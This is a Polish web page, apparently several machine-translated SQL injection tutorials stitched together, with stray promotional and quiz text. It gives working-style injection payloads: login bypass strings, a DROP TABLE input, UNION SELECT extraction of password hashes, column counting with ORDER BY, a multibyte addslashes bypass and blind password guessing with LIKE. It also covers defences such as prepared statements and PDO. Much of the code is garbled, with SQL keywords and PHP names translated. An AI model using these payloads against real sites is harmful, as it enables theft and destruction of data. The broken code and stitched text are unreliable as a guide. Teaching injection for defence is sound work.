Po pierwsze, haker może zarówno naruszyć integralność bazy danych, jak i całkowicie ją usunąć. A jeśli administrator witryny lub hoster nie wykonał kopii zapasowej, będzie to trudne. Ponadto osoba atakująca po zhakowaniu jednej witryny może przenieść się do innych hostowanych na tym samym serwerze.

Następnie następuje kradzież danych osobowych odwiedzających. Sposób ich wykorzystania ogranicza jedynie wyobraźnia hakera. Ale w każdym razie konsekwencje nie będą zbyt przyjemne. Zwłaszcza jeśli zawierał informacje finansowe.

Osoba atakująca może również udostępnić sobie bazę danych, a następnie wyłudzić pieniądze w zamian za jej zwrot.

Dezinformacja użytkowników w imieniu osoby, która nie jest nimi, może mieć również negatywne konsekwencje, ponieważ możliwe są przypadki oszustwa.

Wniosek

Wszystkie informacje zawarte w tym artykule służą wyłącznie celom informacyjnym. Powinieneś go używać wyłącznie do testowania własnych projektów, identyfikowania podatności i ich eliminowania.

Aby dokładniej przestudiować metodologię wykonywania zastrzyku SQL, należy zacząć od faktycznego zbadania możliwości i cech języka SQL. Sposób tworzenia zapytań, słowa kluczowe, typy danych i zastosowanie tego wszystkiego.

Nie da się też obejść bez zrozumienia działania funkcji PHP i elementów HTML. Głównymi wrażliwymi punktami korzystania z zastrzyków są pasek adresu, wyszukiwanie i różne pola. Przestudiowanie funkcji PHP, sposobu ich implementacji i ich możliwości pomoże Ci zrozumieć, w jaki sposób możesz uniknąć błędów.

Obecność wielu gotowych narzędzi programowych pozwala na dogłębną analizę witryny pod kątem znanych podatności. Jednym z najpopularniejszych produktów jest Kali Linux. Jest to obraz systemu operacyjnego opartego na systemie Linux, który zawiera dużą liczbę narzędzi i programów, które mogą przeprowadzić kompleksową analizę witryny pod kątem siły.

Dlaczego musisz wiedzieć, jak zhakować stronę internetową? Wszystko jest bardzo proste - jest to konieczne, aby mieć pojęcie o potencjalnie wrażliwych obszarach Twojego projektu lub strony internetowej. Zwłaszcza jeśli jest to sklep internetowy z możliwością płatności online, w którym atakujący może przejąć dane płatnicze użytkownika.

W celu przeprowadzenia profesjonalnych badań służby bezpieczeństwa informacji będą mogły sprawdzić witrynę według różnych kryteriów i głębokości. Począwszy od prostego wstrzyknięcia HTML, po socjotechnikę i phishing.

Życzymy powodzenia w jego ukończeniu. Wyniki Twojego przejścia zostaną opublikowane później (śledź aktualności na portalach społecznościowych), a wszystkim osobom, które zdały egzamin, zostanie również wysłana wiadomość zapraszać aby zarejestrować się na stronie.

Polub, udostępnij znajomym i współpracownikom, opublikuj ponownie w sieciach społecznościowych.

Wszyscy programiści czytali lub przynajmniej słyszeli o metodach hakowania bezpieczeństwa stron internetowych. Lub nawet napotkał ten problem. Z drugiej strony wyobraźnia tych, którzy chcą rozbić witrynę, jest nieskończona, dlatego wszystkie wąskie gardła muszą być dobrze zabezpieczone. Dlatego chciałbym rozpocząć serię krótkich artykułów, które przybliżą podstawowe metody i techniki hackowania stron internetowych.

W pierwszym artykule chciałbym opisać i wyjaśnić kilka powszechnych metod włamywania się do jednej z najbardziej wrażliwych części witryny - formularzy. Omówię szczegółowo, jak korzystać z tych technik i jak zapobiegać atakom, a także omówię testowanie bezpieczeństwa.

Wstrzyknięcie SQL

Wstrzykiwanie SQL to technika polegająca na tym, że osoba atakująca wprowadza polecenia SQL w polu wejściowym na stronie internetowej. Tym wejściem może być cokolwiek - pole tekstowe w formularzu, parametry _GET i _POST, pliki cookie itp. Metoda ta była bardzo skuteczna przed pojawieniem się frameworków w świecie PHP. Ale ten hack może nadal być niebezpieczny, jeśli nie używasz ORM ani żadnych innych rozszerzeń obiektu danych. Dlaczego? Ze względu na sposób przekazywania parametrów do zapytania SQL.

„Ślepe” zastrzyki

Zacznijmy od klasycznego przykładu instrukcji SQL, która zwraca użytkownikowi jego login i skrót hasła (strona logowania)

Przykład 1

mysql_query("WYBIERZ identyfikator, zaloguj się OD użytkowników GDZIE login =? i hasło = hash(?)");

Postawiłem znaki zapytania w wyrażeniu ze względu na różne warianty tego rozwiązania. Moim zdaniem pierwsza opcja jest najbardziej bezbronna:

Przykład 1a

Mysql_query("WYBIERZ id, zaloguj się OD użytkowników GDZIE login = "" . $login . "" i hasło = hash("" . $hasło . "")");

W tym przypadku kod nie sprawdza, czy wprowadzone dane są nieprawidłowe. Wartości przekazywane są bezpośrednio z formularza wejściowego do zapytania SQL. W najlepszym przypadku użytkownik wprowadzi tutaj swoją nazwę użytkownika i hasło. Jaki jest najgorszy scenariusz? Spróbujmy zhakować ten formularz. Można tego dokonać poprzez przekazanie „przygotowanych” danych. Spróbujmy zalogować się jako pierwszy użytkownik z bazy i w większości przypadków jest to konto administratora. W tym celu zamiast podawać login, przekażemy specjalny ciąg znaków:

" LUB 1=1; --

Pierwszy cytat może być również pojedynczym cytatem, więc jedna próba włamania może nie wystarczyć. Na końcu znajduje się średnik i dwa łączniki, dzięki czemu wszystko, co nastąpi po nim, zamienia się w komentarz. W rezultacie zostanie wykonane następujące zapytanie SQL:

WYBIERZ identyfikator, zaloguj się OD użytkowników GDZIE login = „;” LUB 1=1 LIMIT 0,1; - i hasło = hash(„;Jakieś hasło”)

Zwróci pierwszego użytkownika z bazy i ewentualnie zaloguje się do aplikacji jako ten użytkownik. Dobrym posunięciem byłoby dodanie LIMIT, aby logować się jako każdy indywidualny użytkownik. Jest to jedyna rzecz potrzebna do przejścia przez każdą wartość.

Bardziej poważne sposoby

W poprzednim przykładzie wszystko nie jest takie straszne. Opcje w administracyjnym panelu sterowania są zawsze ograniczone i faktyczne zepsucie witryny wymagałoby dużo pracy. Jednak atak poprzez wstrzyknięcie SQL może prowadzić do znacznie większych uszkodzeń systemu. Zastanów się, ile aplikacji zostało utworzonych z główną tabelą „users” i co by się stało, gdyby osoba atakująca wprowadziła taki kod do niechronionego formularza:

Mój ulubiony login"; Użytkownicy DROP TABLE; --

Tabela „użytkownicy” zostanie usunięta. Jest to jeden z powodów częstszego wykonywania kopii zapasowych baz danych.

Parametry _GET

Wszystkie parametry wypełniane poprzez formularz przesyłane są do serwera jedną z dwóch metod - GET lub POST. Najpopularniejszym parametrem przekazywanym przez GET jest id. Jest to jedno z najbardziej podatnych na ataki miejsc i nie ma znaczenia, jakiego rodzaju adresu URL użyjesz - ` http://example.com/ użytkownicy/?id=1` lub ` http://example.com/ użytkownicy/1` lub ` http://......./.../ post/35 `.

Co się stanie, jeśli wstawimy następujący kod do adresu URL?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,hasło), 3,4,5,6 OD użytkowników GDZIE id =1; --

Prawdopodobnie takie żądanie zwróci login użytkownika i... skrót jego hasła. Pierwsza część żądania „AND 1=0” zamienia poprzedzające je żądanie na fałszywe, w związku z czym nie zostaną odebrane żadne rekordy. Natomiast druga część żądania zwróci dane w postaci przygotowanych danych. A ponieważ pierwszym parametrem jest id, kolejnym będzie login użytkownika i skrót jego hasła oraz kilka innych parametrów. Istnieje wiele programów, które używają brutalnej siły do ​​dekodowania hasła, takiego jak to w przykładzie. A ponieważ użytkownik może używać tego samego hasła do różnych usług, istnieje możliwość uzyskania do nich dostępu.

A oto co ciekawe: zupełnie nie da się obronić przed tego typu atakami metodami takimi jak `mysql_real_escape_string`, `addslashes` itp. d. W zasadzie nie ma możliwości uniknięcia takiego ataku, więc jeśli parametry zostaną przekazane w ten sposób:

„WYBIERZ identyfikator, login, adres e-mail, param1 OD użytkowników GDZIE id =" . dodaje ukośniki($_GET["id"]);"

problemy nie znikną.

Ucieczka ze znaków w ciągu

Kiedy byłem nowy w programowaniu, ciężko mi było pracować z kodowaniem. Nie rozumiałem, jaka była między nimi różnica, po co używać UTF-8, gdy potrzebujesz UTF-16, dlaczego baza danych zawsze ustawia kodowanie na latin1. Kiedy w końcu zacząłem to wszystko rozumieć, odkryłem, że byłoby mniej problemów, gdybym trzymał wszystko w jednym standardzie kodowania. Przeglądając to wszystko, zauważyłem również problemy związane z bezpieczeństwem, które pojawiają się podczas konwersji z jednego kodowania na drugie.

Problemów opisanych w większości poprzednich przykładów można uniknąć, stosując w zapytaniach pojedyncze cudzysłowy. Jeśli użyjesz metody addlashes() , ataki polegające na wstrzykiwaniu SQL, które opierają się na pojedynczych cudzysłowach poprzedzonych ukośnikiem odwrotnym, nie powiodą się. Ale taki atak może zadziałać, jeśli po prostu zastąpisz znak kodem 0xbf27 , addlashes() konwertuje go na znak z kodem 0xbf5c27 - i jest to całkowicie prawidłowy znak pojedynczego cudzysłowu. Innymi słowy, `뼧` przejdzie przez funkcję addlashes(), a następnie mapowanie MySQL skonwertuje je na dwa znaki 0xbf (¿) i 0x27 (').

"WYBIERZ * OD użytkowników GDZIE login = ""; .addlashes($_GET["login"]) . ";"";

Ten przykład można zhakować, przekazując 뼧 lub 1=1; -- w polu logowania w formularzu. Silnik SQL wygeneruje końcowe zapytanie w następujący sposób:

WYBIERZ * OD użytkowników GDZIE login = "¿" OR 1=1; --

I zwróci pierwszego użytkownika z bazy danych.

Ochrona

Jak chronić aplikację? Istnieje wiele metod, których zastosowanie nie sprawi, że aplikacja będzie całkowicie niezniszczalna, ale przynajmniej zwiększy jej bezpieczeństwo.

Używanie mysql_real_escape_string

Funkcja addlashes() jest zawodna, ponieważ nie pozwala na wiele przypadków włamań. mysql_real_escape_string nie ma takich problemów

Korzystanie z MySQLi

To rozszerzenie MySQL może współpracować z powiązanymi parametrami:

$stmt = $db->prepare("zaktualizuj uets set parametr = ? gdzie id =?"); $stmt->bind_param("si", $nazwa, $id); $stmt->wykonaj();

Korzystanie z PDO

Długa droga do zastąpienia parametrów:

$dbh = nowe PDO("mysql:dbname=testdb;host=127.0.0.1", $użytkownik, $hasło); $stmt = $dbh->prepare("WSTAW DO REJESTRU (nazwa, wartość) WARTOŚCI (:nazwa, :wartość)"); $stmt->bindParam(:nazwa", $nazwa); $stmt->bindParam(:wartość", $wartość); // wstaw jeden wiersz $name = "one"; $wartość = 1; $stmt->wykonaj();

Krótka droga:

$dbh = nowe PDO("mysql:dbname=testdb;host=127.0.0.1", $użytkownik, $hasło); $stmt = $dbh->prepare("AKTUALIZUJ USTAWIENIE osób nazwa = :nowa_nazwa GDZIE id = :id"); $stmt->execute(array("new_name" => $name, "id" => $id));

Korzystanie z ORM-u

Użyj parametrów ORM i PDO oraz powiąż (użyj powiązania). Unikaj SQL w swoim kodzie, jeśli widzisz SQL w swoim kodzie, oznacza to, że coś jest z nim nie tak.

ORM zadba o bezpieczeństwo wąskich gardeł w walidacji kodu i parametrów.

wnioski

Celem tej serii nie jest dostarczenie kompletnego przewodnika po hackowaniu stron internetowych, ale zapewnienie bezpieczeństwa aplikacji i zapobieganie atakom z dowolnego źródła. Starałem się napisać ten artykuł nie tylko dla programistów – powinni być świadomi wszelkich zagrożeń w kodzie i wiedzieć, jak im zapobiegać, ale także dla inżynierów jakości – ponieważ ich zadaniem jest śledzenie i raportowanie takich problemów.

Istota zastrzyków SQL

Prawdopodobnie słyszeliście już dowcip z Internetu: „ Dlaczego na wszystkich lekcjach rysunku jest tak samo: Na przykład lekcja rysowania sowy. Najpierw szczegółowo rysujemy oko sowy przez pół godziny. A potem - raz - w ciągu pięciu minut - rysujemy resztę sowy».

Jest nawet zdjęcie na ten temat:

Materiałów na temat zastrzyków SQL jest bardzo dużo: artykuły, książki, kursy wideo (płatne i bezpłatne). Jednak niewielu z nich dodaje zrozumienia w tej kwestii. Zwłaszcza jeśli jesteś początkujący. Dobrze pamiętam swoje odczucia: tu jest okrąg, tu reszta sowy...

Celem tej notatki jest zwrócenie uwagi na sowę i udzielenie normalnego, prostego wyjaśnienia, czym są zastrzyki SQL, jaka jest ich istota, jak niebezpieczne są i dlaczego.

Do eksperymentów będziemy mieli bardzo prosty skrypt, który jest podatny na wstrzyknięcie SQL:

Aby uzyskać dostęp do biblioteki regionalnej Bobrujsk, wprowadź swoje dane uwierzytelniające:

Wpisz swoje imię

Wprowadź hasło


zapytanie("USTAW NAZWY UTF8"); $mysqli->query("USTAW ZESTAW ZNAKÓW UTF8"); $mysqli->query("SET Character_set_client = UTF8"); $mysqli->query("USTAW zestaw_znaków_połączenie = UTF8"); $mysqli->query("SET Character_set_results = UTF8"); ) $nazwa = wejście_filtru(INPUT_GET, "nazwa"); $hasło = wejście_filtru(INPUT_GET, "hasło"); if ($result = $mysqli->query("WYBIERZ * Z `członków` WHERE nazwa = "$nazwa" AND hasło = $hasło")) ( while ($obj = $result->fetch_object()) ( echo "

Twoje imię:$obj->nazwa

Twój status:$obj->stan

Dostępne dla Ciebie książki:$obj->książki


"; ) ) else ( printf("Błąd: %sn", $mysqli->błąd); ) $mysqli->close(); ?>

Zrozumiesz znacznie więcej, jeśli zrobisz wszystko ze mną. Więc oto jest. Zawiera dwa pliki: indeks.php I db_library.sql. Umieść plik Index.php w dowolnym miejscu na serwerze - to nasz podatny na ataki skrypt. A plik db_library.sql trzeba zaimportować, na przykład, za pomocą phpMyAdmin.

W pliku Index.php nazwa użytkownika bazy danych jest ustawiona na root, a hasło jest puste. Swoje dane możesz wprowadzić edytując linię:

$mysqli = nowy mysqli("localhost", "root", "", "db_library");

Według legendy jest to formularz logowania do internetowej wersji bobrujskiej biblioteki regionalnej. Otrzymaliśmy już referencje: nazwa użytkownika - Demo, hasło - 111.

Wprowadźmy je i zobaczmy:

Nasze dane uwierzytelniające zostały zaakceptowane, na ekranach wyświetlają się nasze imię i nazwisko, status i dostępne dla nas książki. Możesz spróbować, podając inne dane (jeśli zmienisz imię i nazwisko lub hasło), nie będziemy mogli zalogować się i przeglądać książek dostępnych do przeczytania. Nie mamy też możliwości sprawdzenia, które książki są dostępne dla innych, ponieważ nie znamy ich nazwy użytkownika i hasła.

Spójrzmy na kod źródłowy, aby zrozumieć, w jaki sposób nastąpiło żądanie bazy danych:
Słowo WYBIERAĆ w zapytaniu SQL pokazuje, jakie dane należy pobrać. Na przykład możesz określić nazwę SELECT lub nazwę SELECT i hasło. Wtedy w pierwszym przypadku z tabeli zostanie pobrana tylko nazwa, a w drugim tylko nazwa i hasło. Gwiazdka mówi, że musisz uzyskać wszystkie wartości. Te. SELECT * - oznacza to pobranie wszystkich wartości.

Z mówi, skąd należy je zdobyć. Po FROM następuje nazwa tabeli, tj. wpis FROM `members` mówi, że pobierz z tabeli `members`.

Dalej GDZIE, jeśli uczyłeś się jakichkolwiek języków programowania, to słowo to najbardziej przypomina „Jeśli”. Są też warunki, które mogą być prawdziwe (1) lub fałszywe (0). W naszym przypadku

(nazwa = „$nazwa”) ORAZ (hasło = „$hasło”)

oznacza, że ​​warunek będzie spełniony, jeśli przekazana zmienna $name będzie równa wartości pola name w tabeli, a przekazana zmienna $password będzie równa wartości pola hasła w tabeli. Jeżeli chociaż jeden warunek nie zostanie spełniony (nieprawidłowa nazwa użytkownika lub hasło), to z tabeli nic nie zostanie pobrane, czyli wyrażenie SELECT * FROM `members` WHERE nazwa = '$nazwa' AND hasło ='$hasło' oznacza: w tabeli `członkowie', przyjmują wartości wszystkich pól, jeśli warunek jest dla nich spełniony - przekazana nazwa użytkownika i hasło odpowiadają tym, które znajdują się w tabeli.

Jest jasne. Wstawmy teraz na przykład pojedynczy cudzysłów do nazwy użytkownika:

Pasek adresu:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’&password=111

Nie otrzymano żadnych danych, zamiast tego pojawia się błąd:
Gdy wprowadziliśmy prawidłowe dane, nasza prośba wyglądała następująco:
Po dodaniu cytatu nasze zapytanie stanie się:
Dla przejrzystości stawiam dodatkowe spacje, czyli otrzymujemy żądanie
Nawiasem mówiąc, składnia żądania jest poprawna. I zaraz po nim, bez żadnych separatorów, żądanie jest kontynuowane:

"ORAZ hasło="111"

To właśnie wszystko psuje, ponieważ liczba cytatów otwierających i zamykających nie jest równa. Możesz na przykład wstawić inny cytat:
Pasek adresu:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

Błąd zniknął, ale nie dodało to żadnego znaczenia do żądania. Dręczy nas bezsensowny ogon prośby. Jak możemy się tego pozbyć?

Jest odpowiedź – to są komentarze.

Komentarze w MySQL można określić na trzy sposoby:

  1. # (hash - działa do końca linii)
  2. - (dwie kreski - pracuj do końca linii, po dwóch myślnikach potrzebna jest spacja)
  3. /* to jest komentarz */ grupa czterech znaków - wszystko w środku jest komentarzem, wszystko przed lub po tej grupie znaków nie jest uważane za komentarz.
Umieśćmy w naszym zapytaniu komentarz zawierający jeden cudzysłów, po tym cytacie dodajemy znak komentarza oznaczający odrzucenie ogonka oraz znak + oznaczający spację, dzięki czemu zapytanie wyjdzie następująco:
Pasek adresu:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’-+&password=111

Nie tylko błąd zniknął, ale użytkownikowi Demo wyświetliły się prawidłowe dane. Od tego momentu nasza prośba przybrała formę
w końcu kucyk --+ ' ORAZ hasło ='111' zamienione w komentarz i nie ma już wpływu na żądanie.

Przyjrzyj się jeszcze raz nowemu żądaniu:
I nie sprawdza już hasła! Te. Znając nazwiska legalnych użytkowników, ale nie znając ich haseł, możemy przeglądać ich dane osobowe. Te. Zaczęliśmy już wykorzystywać wstrzykiwanie SQL.

Niestety nie znam żadnej legalnej nazwy i muszę wymyślić coś innego.

Przyjrzyjmy się bliżej tej części żądania:
Pamiętasz operator AND użyty w pierwszym zapytaniu? Oznacza operację logiczną AND. Przypomnę, że operacja logiczna „AND” daje „prawda” (1) tylko wtedy, gdy oba wyrażenia są prawdziwe. Ale operator logiczny „OR” daje „prawda” (1), nawet jeśli co najmniej jedno z wyrażeń jest prawdziwe. Te. wyrażenie
zawsze będzie prawdziwe, zawsze zwróci 1. Ponieważ jedno z dwóch porównywanych wyrażeń zawsze zwróci 1.

Te. musimy utworzyć wyrażenie wyglądające tak:
Pasek adresu:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo’ OR 1 -+ &password=111

Wynik:

Wynik jest doskonały! Otrzymaliśmy listę wszystkich rekordów w tabeli.

ORDER BY i UNION to główni przyjaciele zastrzyków SQL

Otrzymaliśmy już dane, do których nie mieli dostępu osoby, które nie posiadały ważnej nazwy użytkownika i hasła. Czy jest coś jeszcze co mogę dostać? Tak, możesz uzyskać pełny zrzut tej tabeli (przypominam, że nadal nie mamy haseł. Co więcej, wszystkie dane ze wszystkich baz danych na tym serwerze możemy pobrać przez jedną małą dziurkę!

UNIA umożliwia łączenie zapytań SQL. W prawdziwym życiu moje zadania są proste, a co za tym idzie proste zapytania do baz danych i możliwości UNIA Nie używam tego. Ale w przypadku zastrzyków SQL nie ma cenniejszego słowa niż to.

UNIA pozwala w miarę elastycznie łączyć zapytania SQL z SELECT, także z różnych baz danych. Istnieje jednak ważny wymóg dotyczący składni: liczba kolumn w pierwszym WYBORZE musi być równa liczbie kolumn w drugim WYBORZE.

ZAMÓW PRZEZ ustawia sortowanie danych otrzymanych z tabeli. Możesz sortować według nazwy kolumny lub jej numeru. Ponadto, jeśli nie ma kolumny z tym numerem, zostanie wyświetlony błąd:

Pasek adresu:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ZAMÓW PRZEZ 1 -+ &password=111

Żądanie wygląda następująco:
Zastąpiliśmy nazwę użytkownika wartością -1, aby nie wyświetlały się żadne dane.

Nie ma błędu, nie ma też błędu w żądaniach
I tu jest prośba
odpowiada pasku adresu

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ZAMÓW PRZEZ 6 -+ &password=111

Wystąpił błąd

Oznacza to, że dane wybierane są z tabeli w pięciu kolumnach.

Konstruujemy nasze zapytanie za pomocą UNION:

Jak powiedziałem, liczba pól powinna być taka sama w obu SELECTach, ale to, co jest w tych polach, nie jest zbyt ważne. Można np. po prostu wpisać cyfry – i to one się wyświetlą. Można wpisać NULL - wówczas zamiast pola nie będzie wyświetlane nic.
Pasek adresu:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &hasło=111

Innym sposobem znalezienia liczby kolumn jest użycie tej samej UNII. Za pomocą drabiny dodajemy liczbę kolumn:
Wszystkie spowodują ten sam błąd:

Rób to, aż komunikat o błędzie zniknie.

Należy pamiętać, że zawartość niektórych pól UNION SELECT 1,2,3,4,5 jest wyświetlana na ekranie. Zamiast liczb możesz określić funkcje.

Co napisać w SELECT

Istnieje kilka funkcji, które można zapisać bezpośrednio w UNION:

  • BAZA DANYCH()- pokaż nazwę bieżącej bazy danych
  • AKTUALNY UŻYTKOWNIK()- pokazuje nazwę użytkownika i nazwę hosta
  • @@datadir- wyświetla bezwzględną ścieżkę do bazy danych
  • UŻYTKOWNIK()- Nazwa użytkownika
  • WERSJA()- wersja bazy danych
W naszym przykładzie wyświetlane są pola 2, 4 i 5. Tzn. możemy użyć dowolnego z tych pól.

Używanie DATABASE() w UNION SELECT

Adres:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &password=111

Wynik:

Pobieranie nazw tabel, pól i zrzutu bazy danych

W bazie danych schemat_informacyjny istnieje tabela tzw stoły. Ta tabela zawiera listę wszystkich tabel, które znajdują się we wszystkich bazach danych na tym serwerze. Nasze stoły możemy wybierać poprzez wyszukiwanie w terenie schemat_tabeli Nazwa naszej bazy danych to „db_library” (nazwę znaleźliśmy za pomocą DATABASE()).

Nazywa się to techniką pełnej UNII. W Internecie jest mnóstwo materiałów na ten temat. Na moim serwerze MySQL pełna technika UNION nie działa. Wyskakuje błąd
To nie działa ze względu na krzywiznę ramion, ponieważ ta technika również nie przynosi rezultatów z sqlmap:

Coś poszło nie tak z pełną techniką UNION (może to wynikać z ograniczenia liczby pobieranych wpisów). Powrót do częściowej techniki UNION

Może to być spowodowane wersją MySQL 5.6. Ponieważ Nie potrafię podawać praktycznych przykładów i nie interesuje mnie przepisywanie zepsutych poleceń innych osób - teraz nawet beze mnie w Internecie jest tylu „wielkich teoretyków”, ilu tylko chcesz, więc postanowiłem od razu przejść do biorąc pod uwagę częściową technikę UNION. Ale nie jest to najprostsza technika, a artykuł jest już dość długi.

W dalszej części artykułu przestudiujemy częściową technikę UNION, za jej pomocą uzyskamy wszystkie dane na serwerze: nazwy baz danych, nazwy ich tabel i pól w tych tabelach, a także ich zawartość . Czekając na pojawienie się drugiej części, poćwicz, poczytaj o zastrzykach SQL i technice UNION; do przeczytania polecamy także następujące artykuły:

P.S. o tak, zapomniałem o LIMIT. Następnym razem opowiem także o roli LIMIT w iniekcjach SQL.

Zastrzyki SQL — osadzanie złośliwego kodu w zapytaniach do bazy danych — to najniebezpieczniejszy rodzaj ataku. Za pomocą zastrzyków SQL atakujący może nie tylko pozyskać prywatne informacje z bazy danych, ale także, pod pewnymi warunkami, dokonać w niej zmian.

Luka w zabezpieczeniach związana z iniekcją SQL występuje, ponieważ informacje o użytkowniku są zawarte w zapytaniu bazy danych bez odpowiedniego przetworzenia: aby mieć pewność, że skrypt nie jest podatny na ataki, należy upewnić się, że wszystkie dane użytkownika trafiają do wszystkich zapytań do bazy danych w formie ucieczki. Wymóg uniwersalności jest kamieniem węgielnym: naruszenie popełnione w jednym skrypcie naraża cały system na niebezpieczeństwo.

Przykład luki

Załóżmy, że istnieje skrypt wyświetlający listę użytkowników z danego miasta, przyjmując identyfikator miasta jako parametr GET. Dostęp do skryptu będzie możliwy za pośrednictwem protokołu HTTP pod adresem /users.php?cityid=20

W powyższym skrypcie programista wstawia parametr GET do zapytania SQL, co oznacza, że ​​parametr GET zawsze będzie zawierał liczbę. Osoba atakująca może przekazać ciąg znaków jako parametr i w ten sposób uszkodzić żądanie. Na przykład uzyska dostęp do skryptu jako /users.php?cityid=20; USUŃ * OD użytkowników
Zapytanie SQL będzie wyglądać następująco:

Żądanie zostanie wykonane, a skrypt zwróci nie tylko użytkowników z podanego miasta, ale także listę wszystkich użytkowników, których hasło zamiast prawdziwego imienia i nazwiska zostanie wyświetlone.

Jak się chronić?

Ujmijmy informacje o użytkowniku w pojedynczy cudzysłów. Czy to pomoże?

Z powyższego przykładu widać, że ujęcie pojedynczych cudzysłowów nie wystarczy. Należy także uciec od cudzysłowów zawartych w ciągu. Aby to zrobić, PHP udostępnia funkcję mysql_real_escape_string(), która dodaje ukośnik odwrotny przed każdym cudzysłowem, cudzysłowem i kilkoma innymi znakami specjalnymi. Spójrzmy na kod:

Aby więc zabezpieczyć się przed wstrzyknięciami SQL, wszystkie parametry zewnętrzne, które mogą zawierać tekst, muszą zostać przetworzone za pomocą mysql_real_escape_string() i są ujęte w pojedyncze cudzysłowy.

Jeśli wiesz, że parametr powinien przyjmować wartość liczbową, można go jawnie przekonwertować na postać liczbową za pomocą funkcji interwał() Lub wartość float(). W tym przykładzie moglibyśmy użyć:

$sql = „WYBIERZ nazwę użytkownika, prawdziwą nazwę
OD użytkowników
GDZIE miastoid=""
.interwał ( $_GET ["id miasta"] ) .""" ;

Różnice między mysql_real_escape_string() i mysql_escape_string()

mysql_real_escape_string() to ulepszona wersja funkcji mysql_escape_string(), która jest powszechnie używana do generowania bezpiecznych zapytań do bazy danych MySQL. Różnica między tymi dwiema funkcjami polega na tym, że mysql_real_escape_string() działa poprawnie z kodowaniem wielobajtowym.

Załóżmy, że w przetwarzanych danych znajduje się znak (powiedzmy w UTF-8), którego kod składa się z dwóch bajtów - szesnastkowo 27 i 2B (odpowiednio dziesiętne 39 i 43). mysql_escape_string() traktuje każdy przekazany do niej bajt danych jako oddzielny znak (dokładniej jako kod osobnego znaku) i stwierdza, że ​​sekwencja bajtów 27 i 2B to dwa różne znaki: pojedynczy cudzysłów (") i plus (+).Ponieważ funkcja przyjmuje cudzysłów jako znak specjalny, przed bajtem z kodem 27, który w rzeczywistości jest częścią jakiegoś nieszkodliwego znaku, zostanie dodany ukośnik (\).W rezultacie dane zostaną przesłane do bazy danych w zniekształconej formie.

Warto zauważyć, że mysql_real_escape_string() działa poprawnie we wszystkich przypadkach i może całkowicie zastąpić mysql_escape_string().

mysql_real_escape_string() jest dostępna w PHP od wersji 4.3.0.

Dodatkowe przykłady

Przyjrzeliśmy się najprostszemu przykładowi, ale w praktyce podatne na ataki zapytanie może być bardziej złożone i nie wyświetlać użytkownikowi wyników. Następnie rozważymy przykłady zastrzyków SQL w niektórych bardziej złożonych przypadkach, bez zastrzeżenia kompletności.

Wstrzykiwanie w złożonych zapytaniach

W najprostszym przykładzie możliwe było osadzenie kodu na końcu zapytania SQL. W praktyce na końcu zapytania SQL mogą pojawić się dodatkowe warunki, operatory sortowania, grupowania i inne konstrukcje SQL. W każdym konkretnym przypadku osoba atakująca będzie próbowała osadzić szkodliwy fragment w taki sposób, aby żądanie jako całość pozostało poprawne składniowo, ale spełniało inną funkcję. Tutaj przyjrzymy się najprostszemu przykładowi wrażliwego żądania z dodatkowym warunkiem.

W efekcie stan wiekowy<35 nie będzie miało wpływu na próbkę, ponieważ Operator OR ma niższy priorytet niż operator AND, a WHERE z powyższego zapytania można zapisać inaczej jako GDZIE (cityid="20" ORAZ 1 ) LUB („1" ORAZ wiek<"35" ) (pamiętaj, że wyrażenie WHERE 1 jest zawsze prawdziwe). W rezultacie do warunku będą pasować zarówno linie z cityid="20", jak i te z wiekiem<35, причем наличие последних не обязательно.

W przypadku złożonych zapytań udane zastrzyki SQL wymagają odrobiny kreatywności, ale można się spodziewać, że atakujący też ją wykażą.

Wyniki zapytania nie są wyświetlane użytkownikowi

Może się zdarzyć, że zapytanie, którego wyniki nie zostaną wyświetlone użytkownikowi, jest podatne na ataki. Może to być na przykład zapytanie pomocnicze:

$sql = "WYBIERZ liczbę(*)
OD użytkowników
GDZIE identyfikator użytkownika=""
.$_GET [ „id użytkownika”] .”””;

Powyższe zapytanie sprawdza jedynie obecność użytkownika o podanym identyfikatorze użytkownika: jeśli zwróci jakąkolwiek wartość różną od zera, zostanie wyświetlony profil użytkownika z odpowiadającym identyfikatorem użytkownika, natomiast jeśli zostanie zwrócone 0 (tzn. nie ma użytkowników spełniających kryteria żądania), wyświetli się komunikat „nie znaleziono użytkownika”.

W takim przypadku hasło (lub inne informacje) jest ustalane metodą brutalnej siły. Osoba atakująca przekazuje ciąg znaków jako parametr identyfikatora użytkownika 2” ORAZ hasło JAK „a%. Ostateczna prośba:

WYBIERZ liczbę (*) OD użytkowników GDZIE userid=„2” ORAZ hasło JAK „a%”

Osoba atakująca otrzyma komunikat „nie znaleziono użytkownika”, jeśli hasło nie zaczyna się od litery „a” lub od standardowej strony profilu użytkownika, w przeciwnym razie. Pierwsza litera hasła jest ustalana metodą brutalnej siły, potem druga itd.

wnioski

  • Wszystkie zapytania korzystające z danych zewnętrznych muszą być chronione przed zastrzykami SQL. Dane zewnętrzne mogą być przesyłane nie tylko jako parametry GET, ale także metodą POST, pobrane z pliku COOKIE, z zewnętrznych witryn lub z bazy danych, do której użytkownik miał możliwość wprowadzenia informacji.
  • Wszystkie parametry numeryczne należy jawnie przekonwertować na postać liczbową za pomocą funkcji interwał() I wartość float()
  • Wszystkie parametry ciągu powinny być ucieczki mysql_real_escape_string() i umieść go w cudzysłowie.
  • Jeśli skonstruowanie zastrzyku SQL jest trudne, nie należy oczekiwać, że atakujący nie będzie wiedział, jak to zrobić. Dotyczy to szczególnie silników, których kod źródłowy jest publiczny.

Powodzenia w tworzeniu bezpiecznych aplikacji!